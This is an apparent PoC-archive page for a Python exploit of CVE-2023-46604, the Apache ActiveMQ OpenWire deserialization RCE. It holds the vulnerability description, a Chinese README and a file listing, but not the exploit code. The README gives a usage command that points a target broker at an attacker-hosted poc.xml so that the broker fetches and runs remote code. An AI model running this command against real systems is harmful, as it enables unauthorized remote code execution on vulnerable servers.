Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-46604 PoC — Apache ActiveMQ, Apache ActiveMQ Legacy OpenWire Module: Unbounded deserialization causes ActiveMQ to be vulnerable to a

Source
Associated Vulnerability
Title:Apache ActiveMQ, Apache ActiveMQ Legacy OpenWire Module: Unbounded deserialization causes ActiveMQ to be vulnerable to a remote code execution (RCE) attack (CVE-2023-46604)
Description:The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Users are recommended to upgrade both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.
Description
CVE-2023-46604 Apache ActiveMQ RCE exp 基于python
Readme
# 项目参考

本项目是参考 https://github.com/X1r0z/ActiveMQ-RCE 项目的 `exp` 来重写的一个 `python` 版本的 `exp` 。

# 用法

```shell
python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616
```

其中 `-p` 参数默认为 `activeMQ` 的默认端口。`-x` 参数注意需要加上协议的前缀。

# 介绍

这里附上 `openwire` 协议的图示就很明白了。
下面给出的是 `Throwable` 类型的数据包格式。

![](imgs/1699429752916.png)

具体的漏洞分析见下面的参考文章。

# 参考文章

```
# openwire协议的分析
https://github.com/X1r0z
https://activemq.apache.org/openwire-version-2-specification
# CVE漏洞原理的分析
https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/
```
File Snapshot

[4.0K] /data/pocs/609d09d4c024990394095af86918e31a2e1928a1 ├── [2.3K] attack.py ├── [4.0K] imgs │   └── [ 63K] 1699429752916.png └── [ 815] README.md 1 directory, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →